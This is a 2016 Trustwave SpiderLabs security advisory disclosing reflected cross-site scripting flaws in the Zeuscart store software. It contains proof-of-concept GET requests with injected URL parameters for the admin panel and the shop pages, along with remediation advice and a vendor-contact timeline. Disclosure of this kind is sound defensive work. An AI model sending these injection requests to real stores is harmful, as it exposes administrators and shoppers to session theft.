Trustwave SpiderLabs Security Advisory TWSL2016-019: Multiple XSS Vulnerabilities in Zeuscart Published: 09/20/2016 Version: 1.0 Vendor: Zeuscart (http://zeuscart.com/) Product: Zeuscart Version affected: V4 and prior versions Product description: Zeuscart is an online store management system. It is PHP-based, using a MySQL database and HTML components. Finding 1: Authenticated Reflected Cross Site Scripting Vulnerability Credit: Michael Yuen of Trustwave SpiderLabs CWE: CWE-79 In the admin control panel under Catalog->Products->View Products, the partially reflected URL appears to be unfiltered in the pagination element in the response. #Request GET /zeuscart/admin/?do=manageproducts&>"> HTTP/1.1 Host: localhost:88 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: Proxy-Connection: keep-alive Referer: http://localhost:88/zeuscart/admin/?do=adminlogin&action=validatelogin Cookie: PHPSESSID=8klbjmf6h8lml38qu0h24d0g81 #Response <--SNIP--> <--SNIP--> Finding 2: Unauthenticated Reflected Cross Site Scripting Vulnerabilities Credit: Michael Yuen of Trustwave SpiderLabs CWE: CWE-79 Various cross-site scripting vulnerabilities exist in the Zeuscart shopping interface which requires no authentication. The below examples show different variations of a flaw in the pagination element where the partial URL does not undergo any sort of filtering. Finding 2.1: Cross-Site Scripting. This is a reflected XSS vulnerability, detected in an alert that was an immediate response to the injection. #Request GET /zeuscart/women.html?>"> HTTP/1.1 Host: localhost:88 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: Proxy-Connection: keep-alive X-Cenzic-Spider-Send-HeadRequest: true Referer: http://localhost:88/zeuscart/ Cookie: PHPSESSID=q18julh4asm5rjok503u9dr0i6 #Response <--SNIP--> <--SNIP--> Finding 2.2: Cross-Site Scripting. This is a reflected XSS vulnerability, detected in an alert that was an immediate response to the injection. #Request GET /zeuscart/grid/women.html?>"> HTTP/1.1 Host: localhost:88 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: Proxy-Connection: keep-alive X-Cenzic-Spider-Send-HeadRequest: true Referer: http://localhost:88/zeuscart/women.html Cookie: PHPSESSID=q18julh4asm5rjok503u9dr0i6 #Response <--SNIP--> <--SNIP--> Finding 2.3: Cross-Site Scripting. This is a reflected XSS vulnerability, detected in an alert that was an immediate response to the injection. #Request GET /zeuscart/index.php?do=search&action=grid&search=&>"> HTTP/1.1 Host: localhost:88 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: Proxy-Connection: keep-alive X-Cenzic-Spider-Send-HeadRequest: true Referer: http://localhost:88/zeuscart/index.php?do=search&action=grid&search=bags Cookie: PHPSESSID=q18julh4asm5rjok503u9dr0i6 #Response <--SNIP--> <--SNIP--> Finding 2.4: Cross-Site Scripting. This is a reflected XSS vulnerability, detected in an alert that was an immediate response to the injection. #Request GET /zeuscart/index.php?do=search&search=&>"> HTTP/1.1 Host: localhost:88 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: Proxy-Connection: keep-alive X-Cenzic-Spider-Send-HeadRequest: true Referer: http://localhost:88/zeuscart/ Cookie: PHPSESSID=95915r4a3d1dn9hqdhelf0nc21 #Response <--SNIP--> <--SNIP--> Remediation Steps: There is no official fix. However, these vulnerabilities can be virtually patched with the use of a Web Application Firewall (WAF). Trustwave's WAF (https://www.trustwave.com/Services/Managed-Security/Managed-Web-Application-Firewall/) and ModSecurity (http://www.modsecurity.org/) can provide out-of-the-box protections against these threats. Revision History: 06/15/2016 - Attempt to contact vendor 07/08/2016 - Attempt to contact vendor 07/27/2016 - Attempt to contact vendor 08/24/2016 - Attempt to contact vendor 09/01/2016 - Final Attempt to contact vendor 09/20/2016 - Advisory published About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.